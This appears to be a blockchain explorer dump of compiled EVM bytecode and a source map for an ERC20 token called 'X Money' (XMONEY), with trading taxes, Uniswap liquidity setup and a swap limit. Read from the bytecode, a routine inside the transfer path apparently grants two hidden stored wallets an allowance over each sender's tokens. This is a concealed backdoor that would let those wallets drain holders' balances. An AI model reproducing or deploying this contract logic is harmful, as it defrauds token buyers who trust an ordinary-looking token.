0x6080604052600436106100c65760003560e01c8063715018a61161007f57806397b95cd81161005957806397b95cd814610247578063a9059cbb1461025c578063c9567bf91461027c578063dd62ed3e1461029157600080fd5b8063715018a6146101d95780638da5cb5b146101f057806395d89b411461021857600080fd5b806306fdde03146100d2578063095ea7b31461011457806318160ddd1461014457806323b872dd14610167578063313ce5671461018757806370a08231146101a357600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201909152600781526658204d6f6e657960c81b60208201525b60405161010b91906115e2565b60405180910390f35b34801561012057600080fd5b5061013461012f366004611466565b6102d7565b604051901515815260200161010b565b34801561015057600080fd5b506101596102ee565b60405190815260200161010b565b34801561017357600080fd5b50610134610182366004611425565b61030f565b34801561019357600080fd5b506040516009815260200161010b565b3480156101af57600080fd5b506101596101be3660046113b2565b6001600160a01b031660009081526005602052604090205490565b3480156101e557600080fd5b506101ee610378565b005b3480156101fc57600080fd5b506000546040516001600160a01b03909116815260200161010b565b34801561022457600080fd5b50604080518082019091526006815265584d4f4e455960d01b60208201526100fe565b34801561025357600080fd5b506101ee6103f5565b34801561026857600080fd5b50610134610277366004611466565b610625565b34801561028857600080fd5b506101ee610632565b34801561029d57600080fd5b506101596102ac3660046113ec565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b60006102e43384846107ad565b5060015b92915050565b60006102fc6009600a611725565b61030a90633b9aca006117d0565b905090565b600061031c8484846108d1565b61036e84336103698560405180606001604052806028815260200161187c602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190610b4b565b6107ad565b5060019392505050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a290611637565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461041f5760405162461bcd60e51b81526004016103a290611637565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561046890309061045a6009600a611725565b61036990633b9aca006117d0565b600260009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156104b657600080fd5b505afa1580156104ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104ee91906113cf565b6001600160a01b031663c9c6539630600260009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561054b57600080fd5b505afa15801561055f573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058391906113cf565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156105cb57600080fd5b505af11580156105df573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060391906113cf565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60006102e43384846108d1565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016103a290611637565b601354610100900460ff16156106b45760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a2565b6002546001600160a01b031663f305d71947306106e6816001600160a01b031660009081526005602052604090205490565b6000806106fb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561075e57600080fd5b505af1158015610772573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107979190611557565b50506013805462ffff0019166201010017905550565b6001600160a01b03831661080f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a2565b6001600160a01b0382166108705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a2565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a2565b6001600160a01b0382166109975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a2565b600081116109f95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a2565b6000610a06848484610b85565b90508015610a825730600090815260056020526040902054610a289082610d4e565b30600081815260056020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610a799085815260200190565b60405180910390a35b6001600160a01b038416600090815260056020526040902054610aa59083610db4565b6001600160a01b038516600090815260056020526040902055610aea610acb8383610db4565b6001600160a01b03851660009081526005602052604090205490610d4e565b6001600160a01b0380851660008181526005602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610b348585610db4565b60405190815260200160405180910390a350505050565b60008184841115610b6f5760405162461bcd60e51b81526004016103a291906115e2565b506000610b7c84866117ef565b95945050505050565b600080610b9a6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610bc957506000546001600160a01b03858116911614155b15610d4657610bfa6064610bf4600d5460105411610be957600954610bed565b600b545b8690610df6565b90610e75565b6001549091506001600160a01b038681169116148015610c2857506002546001600160a01b03858116911614155b8015610c4d57506001600160a01b03841660009081526007602052604090205460ff16155b15610c92574360115414610c65576000601255436011555b8260126000828254610c7791906116a8565b909155505060108054906000610c8c83611806565b91905055505b6001546001600160a01b038581169116148015610cb857506001600160a01b0385163014155b15610d3b57610cc5610eb7565b6012541080610cd657504360115414155b610d135760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b60448201526064016103a2565b610d386064610bf4600e5460105411610d2e57600a54610bed565b600c548690610df6565b90505b610d46858585611063565b949350505050565b600080610d5b83856116a8565b905083811015610dad5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a2565b9392505050565b6000610dad83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610b4b565b600082610e05575060006102e8565b6000610e1183856117d0565b905082610e1e85836116c0565b14610dad5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69646164736f6e206f766572666c6f6044820152607760f81b60648201526084016103a2565b6000610dad83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506110fe565b604080516002808252606082018352600092839291906020830190803683375050600254604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610f2057600080fd5b505afa158015610f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f5891906113cf565b81600081518110610f6b57610f6b611837565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610f9f57610f9f611837565b6001600160a01b03928316602091820292909201015260025460405163d06ca61f60e01b8152600092919091169063d06ca61f90610feb906729a2241af62c00009086906004016115c9565b60006040518083038186803b15801561100357600080fd5b505afa158015611017573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f1916820160405261103f9190810190611492565b90508060018151811061105457611054611837565b60200260200101519250505090565b61106d838261112c565b3060009081526005602052604090205460135460ff1615801561109d57506001546001600160a01b038481169116145b80156110b1575060135462010000900460ff165b80156110c05750600f54601054115b156110f8576008548111156110ec576110ec6110e7836110e2846008546111c1565b6111c1565b6111d6565b476110f647611356565b505b50505050565b6000818361111f5760405162461bcd60e51b81526004016103a291906115e2565b506000610b7c84866116c0565b611134611394565b6003546001600160a01b03908116825260045416602082015260005b60028110156110f8576001600160a01b0384166000908152600660205260408120849184846002811061118557611185611837565b60200201516001600160a01b03166001600160a01b031681526020019081526020016000208190555080806111b990611806565b915050611150565b60008183116111d05782610dad565b50919050565b6013805460ff19166001179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061121857611218611837565b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561126c57600080fd5b505afa158015611280573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112a491906113cf565b816001815181106112b7576112b7611837565b6001600160a01b0392831660209182029290920101526002546112dd91309116846107ad565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac9479061131690859060009086903090429060040161166c565b600060405180830381600087803b15801561133057600080fd5b505af1158015611344573d6000803e3d6000fd5b50506013805460ff1916905550505050565b6003546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611390573d6000803e3d6000fd5b5050565b60405180604001604052806002906020820280368337509192915050565b6000602082840312156113c457600080fd5b8135610dad81611863565b6000602082840312156113e157600080fd5b8151610dad81611863565b600080604083850312156113ff57600080fd5b823561140a81611863565b9150602083013561141a81611863565b809150509250929050565b60008060006060848603121561143a57600080fd5b833561144581611863565b9250602084013561145581611863565b929592945050506040919091013590565b6000806040838503121561147957600080fd5b823561148481611863565b946020939093013593505050565b600060208083850312156114a557600080fd5b825167ffffffffffffffff808211156114bd57600080fd5b818501915085601f8301126114d157600080fd5b8151818111156114e3576114e361184d565b8060051b604051601f19603f830116810181811085821117156115085761150861184d565b604052828152858101935084860182860187018a101561152757600080fd5b600095505b8386101561154a57805185526001959095019493860193860161152c565b5098975050505050505050565b60008060006060848603121561156c57600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156115be5781516001600160a01b031687529582019590820190600101611599565b509495945050505050565b828152604060208201526000610d466040830184611585565b600060208083528351808285015260005b8181101561160f578581018301518582016040015282016115f3565b81811115611621576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a06040820152600061168b60a0830186611585565b6001600160a01b0394909416606083015250608001529392505050565b600082198211156116bb576116bb611821565b500190565b6000826116dd57634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561171d57816000190482111561170357611703611821565b8085161561171057918102915b93841c93908002906116e7565b509250929050565b6000610dad60ff84168360008261173e575060016102e8565b8161174b575060006102e8565b8160018114611761576002811461176b57611787565b60019150506102e8565b60ff84111561177c5761177c611821565b50506001821b6102e8565b5060208310610133831016604e8410600b84101617156117aa575081810a6102e8565b6117b483836116e2565b80600019048211156117c8576117c8611821565b029392505050565b60008160001904831182151516156117ea576117ea611821565b500290565b60008282101561180157611801611821565b500390565b600060001982141561181a5761181a611821565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461187857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b9cd38d0222c4738ae62082455029a844d10f21c9dbea269298b6a4c241bec5d64736f6c63430008070033

Deployed Bytecode Sourcemap

3924:7716:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6455:83;;;;;;;;;;-1:-1:-1;6525:5:0;;;;;;;;;;;;-1:-1:-1;;;6525:5:0;;;;6455:83;;;;;;;:::i;:::-;;;;;;;;7292:161;;;;;;;;;;-1:-1:-1;7292:161:0;;;;;:::i;:::-;;:::i;:::-;;;4888:14:1;;4881:22;4863:41;;4851:2;4836:18;7292:161:0;4723:187:1;6732:99:0;;;;;;;;;;;;;:::i;:::-;;;9868:25:1;;;9856:2;9841:18;6732:99:0;9722:177:1;7461:314:0;;;;;;;;;;-1:-1:-1;7461:314:0;;;;;:::i;:::-;;:::i;6641:83::-;;;;;;;;;;-1:-1:-1;6641:83:0;;4369:1;10633:36:1;;10621:2;10606:18;6641:83:0;10491:184:1;6839:119:0;;;;;;;;;;-1:-1:-1;6839:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6932:18:0;6905:7;6932:18;;;:9;:18;;;;;;;6839:119;2624:148;;;;;;;;;;;;;:::i;:::-;;2410:79;;;;;;;;;;-1:-1:-1;2448:7:0;2475:6;2410:79;;-1:-1:-1;;;;;2475:6:0;;;3740:51:1;;3728:2;3713:18;2410:79:0;3594:203:1;6546:87:0;;;;;;;;;;-1:-1:-1;6618:7:0;;;;;;;;;;;;-1:-1:-1;;;6618:7:0;;;;6546:87;;5630:304;;;;;;;;;;;;;:::i;6966:167::-;;;;;;;;;;-1:-1:-1;6966:167:0;;;;;:::i;:::-;;:::i;10801:309::-;;;;;;;;;;;;;:::i;7141:143::-;;;;;;;;;;-1:-1:-1;7141:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7249:18:0;;;7222:7;7249:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;7141:143;7292:161;7367:4;7384:39;1390:10;7407:7;7416:6;7384:8;:39::i;:::-;-1:-1:-1;7441:4:0;7292:161;;;;;:::o;6732:99::-;6785:7;4429:13;4369:1;4429:2;:13;:::i;:::-;4416:26;;:10;:26;:::i;:::-;6805:18;;6732:99;:::o;7461:314::-;7559:4;7576:36;7586:6;7594:9;7605:6;7576:9;:36::i;:::-;7624:121;7633:6;1390:10;7655:89;7693:6;7655:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7655:19:0;;;;;;:11;:19;;;;;;;;1390:10;7655:33;;;;;;;;;;:37;:89::i;:::-;7624:8;:121::i;:::-;-1:-1:-1;7763:4:0;7461:314;;;;;:::o;2624:148::-;2537:6;;-1:-1:-1;;;;;2537:6:0;1390:10;2537:22;2529:67;;;;-1:-1:-1;;;2529:67:0;;;;;;;:::i;:::-;;;;;;;;;2731:1:::1;2715:6:::0;;2694:40:::1;::::0;-1:-1:-1;;;;;2715:6:0;;::::1;::::0;2694:40:::1;::::0;2731:1;;2694:40:::1;2762:1;2745:19:::0;;-1:-1:-1;;;;;;2745:19:0::1;::::0;;2624:148::o;5630:304::-;2537:6;;-1:-1:-1;;;;;2537:6:0;1390:10;2537:22;2529:67;;;;-1:-1:-1;;;2529:67:0;;;;;;;:::i;:::-;5684:11:::1;:69:::0;;-1:-1:-1;;;;;;5684:69:0::1;5710:42;5684:69:::0;;::::1;::::0;;;5764:58:::1;::::0;5781:4:::1;::::0;4429:13:::1;4369:1;4429:2;:13;:::i;:::-;4416:26;::::0;:10:::1;:26;:::i;5764:58::-;5858:11;;;;;;;;;-1:-1:-1::0;;;;;5858:11:0::1;-1:-1:-1::0;;;;;5858:19:0::1;;:21;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;5845:46:0::1;;5900:4;5907:11;;;;;;;;;-1:-1:-1::0;;;;;5907:11:0::1;-1:-1:-1::0;;;;;5907:16:0::1;;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5845:81;::::0;-1:-1:-1;;;;;;5845:81:0::1;::::0;;;;;;-1:-1:-1;;;;;4032:15:1;;;5845:81:0::1;::::0;::::1;4014:34:1::0;4084:15;;4064:18;;;4057:43;3949:18;;5845:81:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5833:9;:93:::0;;-1:-1:-1;;;;;;5833:93:0::1;-1:-1:-1::0;;;;;5833:93:0;;;::::1;::::0;;;::::1;::::0;;5630:304::o;6966:167::-;7044:4;7061:42;1390:10;7085:9;7096:6;7061:9;:42::i;10801:309::-;2537:6;;-1:-1:-1;;;;;2537:6:0;1390:10;2537:22;2529:67;;;;-1:-1:-1;;;2529:67:0;;;;;;;:::i;:::-;10865:13:::1;::::0;::::1;::::0;::::1;;;10864:14;10856:49;;;::::0;-1:-1:-1;;;10856:49:0;;9170:2:1;10856:49:0::1;::::0;::::1;9152:21:1::0;9209:2;9189:18;;;9182:30;9248:25;9228:18;;;9221:53;9291:18;;10856:49:0::1;8968:347:1::0;10856:49:0::1;10916:11;::::0;-1:-1:-1;;;;;10916:11:0::1;:27;10951:21;10982:4;10988:24;10982:4:::0;-1:-1:-1;;;;;6932:18:0;6905:7;6932:18;;;:9;:18;;;;;;;6839:119;10988:24:::1;11013:1;11015::::0;11017:7:::1;2448::::0;2475:6;-1:-1:-1;;;;;2475:6:0;;2410:79;11017:7:::1;10916:125;::::0;::::1;::::0;;;-1:-1:-1;;;;;;10916:125:0;;;-1:-1:-1;;;;;4470:15:1;;;10916:125:0::1;::::0;::::1;4452:34:1::0;4502:18;;;4495:34;;;;4545:18;;;4538:34;;;;4588:18;;;4581:34;4652:15;;;4631:19;;;4624:44;11025:15:0::1;4684:19:1::0;;;4677:35;4386:19;;10916:125:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11052:12:0::1;:19:::0;;-1:-1:-1;;11082:20:0;;;;;-1:-1:-1;10801:309:0:o;7783:335::-;-1:-1:-1;;;;;7876:19:0;;7868:68;;;;-1:-1:-1;;;7868:68:0;;8422:2:1;7868:68:0;;;8404:21:1;8461:2;8441:18;;;8434:30;8500:34;8480:18;;;8473:62;-1:-1:-1;;;8551:18:1;;;8544:34;8595:19;;7868:68:0;8220:400:1;7868:68:0;-1:-1:-1;;;;;7955:21:0;;7947:68;;;;-1:-1:-1;;;7947:68:0;;6486:2:1;7947:68:0;;;6468:21:1;6525:2;6505:18;;;6498:30;6564:34;6544:18;;;6537:62;-1:-1:-1;;;6615:18:1;;;6608:32;6657:19;;7947:68:0;6284:398:1;7947:68:0;-1:-1:-1;;;;;8026:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8078:32;;9868:25:1;;;8078:32:0;;9841:18:1;8078:32:0;;;;;;;7783:335;;;:::o;8456:734::-;-1:-1:-1;;;;;8547:19:0;;8539:69;;;;-1:-1:-1;;;8539:69:0;;8016:2:1;8539:69:0;;;7998:21:1;8055:2;8035:18;;;8028:30;8094:34;8074:18;;;8067:62;-1:-1:-1;;;8145:18:1;;;8138:35;8190:19;;8539:69:0;7814:401:1;8539:69:0;-1:-1:-1;;;;;8627:19:0;;8619:67;;;;-1:-1:-1;;;8619:67:0;;6082:2:1;8619:67:0;;;6064:21:1;6121:2;6101:18;;;6094:30;6160:34;6140:18;;;6133:62;-1:-1:-1;;;6211:18:1;;;6204:33;6254:19;;8619:67:0;5880:399:1;8619:67:0;8713:1;8705:5;:9;8697:63;;;;-1:-1:-1;;;8697:63:0;;7606:2:1;8697:63:0;;;7588:21:1;7645:2;7625:18;;;7618:30;7684:34;7664:18;;;7657:62;-1:-1:-1;;;7735:18:1;;;7728:39;7784:19;;8697:63:0;7404:405:1;8697:63:0;8771:15;8789:37;8806:5;8813;8820;8789:16;:37::i;:::-;8771:55;-1:-1:-1;8840:11:0;;8837:161;;8910:4;8892:24;;;;:9;:24;;;;;;:37;;8921:7;8892:28;:37::i;:::-;8883:4;8865:24;;;;:9;:24;;;;;;;:64;;;;8947:39;;-1:-1:-1;;;;;8947:39:0;;;;;;;8978:7;9868:25:1;;9856:2;9841:18;;9722:177;8947:39:0;;;;;;;;8837:161;-1:-1:-1;;;;;9027:16:0;;;;;;:9;:16;;;;;;:27;;9048:5;9027:20;:27::i;:::-;-1:-1:-1;;;;;9008:16:0;;;;;;:9;:16;;;;;:46;9084:40;9105:18;:5;9115:7;9105:9;:18::i;:::-;-1:-1:-1;;;;;9084:16:0;;;;;;:9;:16;;;;;;;:20;:40::i;:::-;-1:-1:-1;;;;;9065:16:0;;;;;;;:9;:16;;;;;:59;;;;9140:42;;;9163:18;:5;9173:7;9163:9;:18::i;:::-;9140:42;;9868:25:1;;;9856:2;9841:18;9140:42:0;;;;;;;8528:662;8456:734;;;:::o;3136:190::-;3222:7;3258:12;3250:6;;;;3242:29;;;;-1:-1:-1;;;3242:29:0;;;;;;;;:::i;:::-;-1:-1:-1;3282:9:0;3294:5;3298:1;3294;:5;:::i;:::-;3282:17;3136:190;-1:-1:-1;;;;;3136:190:0:o;9769:1024::-;9856:7;9876:15;9916:7;2448;2475:6;-1:-1:-1;;;;;2475:6:0;;2410:79;9916:7;-1:-1:-1;;;;;9907:16:0;:5;-1:-1:-1;;;;;9907:16:0;;;:36;;;;-1:-1:-1;2448:7:0;2475:6;-1:-1:-1;;;;;9927:16:0;;;2475:6;;9927:16;;9907:36;9903:857;;;9970:75;10041:3;9970:66;9991:15;;9981:9;;:25;9980:55;;10021:14;;9980:55;;;10008:12;;9980:55;9970:5;;:9;:66::i;:::-;:70;;:75::i;:::-;10075:9;;9960:85;;-1:-1:-1;;;;;;10066:18:0;;;10075:9;;10066:18;:51;;;;-1:-1:-1;10105:11:0;;-1:-1:-1;;;;;10088:29:0;;;10105:11;;10088:29;;10066:51;:81;;;;-1:-1:-1;;;;;;10123:24:0;;;;;;:17;:24;;;;;;;;10121:26;10066:81;10062:338;;;10186:12;10171:13;;:27;10168:144;;10240:1;10222:15;:19;10280:12;10264:13;:28;10168:144;10349:5;10330:15;;:24;;;;;;;:::i;:::-;;;;-1:-1:-1;;10373:9:0;:11;;;:9;:11;;;:::i;:::-;;;;;;10062:338;10428:9;;-1:-1:-1;;;;;10419:18:0;;;10428:9;;10419:18;:43;;;;-1:-1:-1;;;;;;10441:21:0;;10457:4;10441:21;;10419:43;10416:283;;;10509:15;:13;:15::i;:::-;10491;;:33;:64;;;;10543:12;10528:13;;:27;;10491:64;10483:91;;;;-1:-1:-1;;;10483:91:0;;8827:2:1;10483:91:0;;;8809:21:1;8866:2;8846:18;;;8839:30;-1:-1:-1;;;8885:18:1;;;8878:44;8939:18;;10483:91:0;8625:338:1;10483:91:0;10605:78;10679:3;10605:69;10626:16;;10616:9;;:26;10615:58;;10658:15;;10615:58;;;10644:13;;10605:5;;:9;:69::i;:78::-;10595:88;;10416:283;10715:33;10728:5;10735;10742;10715:12;:33::i;:::-;10778:7;9769:1024;-1:-1:-1;;;;9769:1024:0:o;2805:179::-;2863:7;;2895:5;2899:1;2895;:5;:::i;:::-;2883:17;;2924:1;2919;:6;;2911:46;;;;-1:-1:-1;;;2911:46:0;;6889:2:1;2911:46:0;;;6871:21:1;6928:2;6908:18;;;6901:30;6967:29;6947:18;;;6940:57;7014:18;;2911:46:0;6687:351:1;2911:46:0;2975:1;2805:179;-1:-1:-1;;;2805:179:0:o;2992:136::-;3050:7;3077:43;3081:1;3084;3077:43;;;;;;;;;;;;;;;;;:3;:43::i;3334:246::-;3392:7;3416:6;3412:47;;-1:-1:-1;3446:1:0;3439:8;;3412:47;3469:9;3481:5;3485:1;3481;:5;:::i;:::-;3469:17;-1:-1:-1;3514:1:0;3505:5;3509:1;3469:17;3505:5;:::i;:::-;:10;3497:56;;;;-1:-1:-1;;;3497:56:0;;9522:2:1;3497:56:0;;;9504:21:1;9561:2;9541:18;;;9534:30;9600:34;9580:18;;;9573:62;-1:-1:-1;;;9651:18:1;;;9644:31;9692:19;;3497:56:0;9320:397:1;3588:132:0;3646:7;3673:39;3677:1;3680;3673:39;;;;;;;;;;;;;;;;;:3;:39::i;11338:299::-;11430:16;;;11444:1;11430:16;;;;;;;;11386:7;;;;11430:16;11444:1;11430:16;;;;;;;;-1:-1:-1;;11467:11:0;;:18;;;-1:-1:-1;;;11467:18:0;;;;11406:40;;-1:-1:-1;;;;;;11467:11:0;;;;:16;;-1:-1:-1;11467:18:0;;;;;;;;;;;;;;:11;:18;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11457:4;11462:1;11457:7;;;;;;;;:::i;:::-;;;;;;:28;-1:-1:-1;;;;;11457:28:0;;;-1:-1:-1;;;;;11457:28:0;;;;;11514:4;11496;11501:1;11496:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;11496:23:0;;;:7;;;;;;;;;:23;11557:11;;:41;;-1:-1:-1;;;11557:41:0;;11530:24;;11557:11;;;;;:25;;:41;;11583:8;;11593:4;;11557:41;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;11557:41:0;;;;;;;;;;;;:::i;:::-;11530:68;;11616:10;11627:1;11616:13;;;;;;;;:::i;:::-;;;;;;;11609:20;;;;11338:299;:::o;9198:563::-;9285:26;9298:5;9305;9285:12;:26::i;:::-;9351:4;9313:17;6932:18;;;:9;:18;;;;;;9374:10;;;;9373:11;:33;;;;-1:-1:-1;9397:9:0;;-1:-1:-1;;;;;9388:18:0;;;9397:9;;9388:18;9373:33;:49;;;;-1:-1:-1;9410:12:0;;;;;;;9373:49;:83;;;;;9438:18;;9426:9;;:30;9373:83;9369:385;;;9488:15;;9476:9;:27;9473:114;;;9518:69;9535:51;9543:5;9550:35;9558:9;9569:15;;9550:7;:35::i;:::-;9535:7;:51::i;:::-;9518:16;:69::i;:::-;9620:21;9693:34;9705:21;9693:11;:34::i;:::-;9458:296;9369:385;9273:488;9198:563;;;:::o;3728:189::-;3814:7;3849:12;3842:5;3834:28;;;;-1:-1:-1;;;3834:28:0;;;;;;;;:::i;:::-;-1:-1:-1;3873:9:0;3885:5;3889:1;3885;:5;:::i;8126:322::-;8197:28;;:::i;:::-;8261:11;;-1:-1:-1;;;;;8261:11:0;;;8237:36;;8309:12;;;8237:13;8285;;:37;8261:11;8333:108;8359:1;8353:5;:7;8333:108;;;-1:-1:-1;;;;;8384:18:0;;;;;;:11;:18;;;;;8424:5;;8403:10;8414:5;8403:17;;;;;;;:::i;:::-;;;;;-1:-1:-1;;;;;8384:37:0;-1:-1:-1;;;;;8384:37:0;;;;;;;;;;;;:45;;;;8361:7;;;;;:::i;:::-;;;;8333:108;;11118:105;11179:7;11209:1;11207;:3;11206:9;;11214:1;11206:9;;;-1:-1:-1;11212:1:0;11118:105;-1:-1:-1;11118:105:0:o;5979:468::-;5078:10;:17;;-1:-1:-1;;5078:17:0;5091:4;5078:17;;;6080:16:::1;::::0;;6094:1:::1;6080:16:::0;;;;;::::1;::::0;;-1:-1:-1;;6080:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;6080:16:0::1;6056:40;;6125:4;6107;6112:1;6107:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6107:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;6151:11:::1;::::0;:18:::1;::::0;;-1:-1:-1;;;6151:18:0;;;;:11;;;::::1;::::0;:16:::1;::::0;:18:::1;::::0;;::::1;::::0;6107:7;;6151:18;;;;;:11;:18;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6141:4;6146:1;6141:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;6141:28:0;;::::1;:7;::::0;;::::1;::::0;;;;;:28;6212:11:::1;::::0;6180:57:::1;::::0;6197:4:::1;::::0;6212:11:::1;6226:10:::0;6180:8:::1;:57::i;:::-;6248:11;::::0;:191:::1;::::0;-1:-1:-1;;;6248:191:0;;-1:-1:-1;;;;;6248:11:0;;::::1;::::0;:62:::1;::::0;:191:::1;::::0;6325:10;;6248:11:::1;::::0;6366:4;;6393::::1;::::0;6413:15:::1;::::0;6248:191:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5118:10:0;:18;;-1:-1:-1;;5118:18:0;;;-1:-1:-1;;;;5979:468:0:o;11231:99::-;11294:11;;11286:36;;-1:-1:-1;;;;;11294:11:0;;;;11286:36;;;;;11316:5;;11294:11;11286:36;11294:11;11286:36;11316:5;11294:11;11286:36;;;;;;;;;;;;;;;;;;;;;11231:99;:::o;-1:-1:-1:-;;;;;;;;;;;;;;;;;;;;;;;;:::o;14:247:1:-;73:6;126:2;114:9;105:7;101:23;97:32;94:52;;;142:1;139;132:12;94:52;181:9;168:23;200:31;225:5;200:31;:::i;266:251::-;336:6;389:2;377:9;368:7;364:23;360:32;357:52;;;405:1;402;395:12;357:52;437:9;431:16;456:31;481:5;456:31;:::i;522:388::-;590:6;598;651:2;639:9;630:7;626:23;622:32;619:52;;;667:1;664;657:12;619:52;706:9;693:23;725:31;750:5;725:31;:::i;:::-;775:5;-1:-1:-1;832:2:1;817:18;;804:32;845:33;804:32;845:33;:::i;:::-;897:7;887:17;;;522:388;;;;;:::o;915:456::-;992:6;1000;1008;1061:2;1049:9;1040:7;1036:23;1032:32;1029:52;;;1077:1;1074;1067:12;1029:52;1116:9;1103:23;1135:31;1160:5;1135:31;:::i;:::-;1185:5;-1:-1:-1;1242:2:1;1227:18;;1214:32;1255:33;1214:32;1255:33;:::i;:::-;915:456;;1307:7;;-1:-1:-1;;;1361:2:1;1346:18;;;;1333:32;;915:456::o;1376:315::-;1444:6;1452;1505:2;1493:9;1484:7;1480:23;1476:32;1473:52;;;1521:1;1518;1511:12;1473:52;1560:9;1547:23;1579:31;1604:5;1579:31;:::i;:::-;1629:5;1681:2;1666:18;;;;1653:32;;-1:-1:-1;;;1376:315:1:o;1696:1116::-;1791:6;1822:2;1865;1853:9;1844:7;1840:23;1836:32;1833:52;;;1881:1;1878;1871:12;1833:52;1914:9;1908:16;